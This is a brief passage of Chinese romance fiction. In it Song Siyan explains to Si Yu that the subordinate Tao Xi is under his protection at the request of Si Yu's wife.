“不是,你来真——”真的啊?都要帮人投诉了! 宋斯砚平静地说:“你老婆叫罩着的。” 司煜没反应过来:“什么?” “你老婆特地叮嘱的、叫你来找我帮忙照应的,她的下属,陶溪。” 宋斯砚目光瞥过去一眼。 “就她。”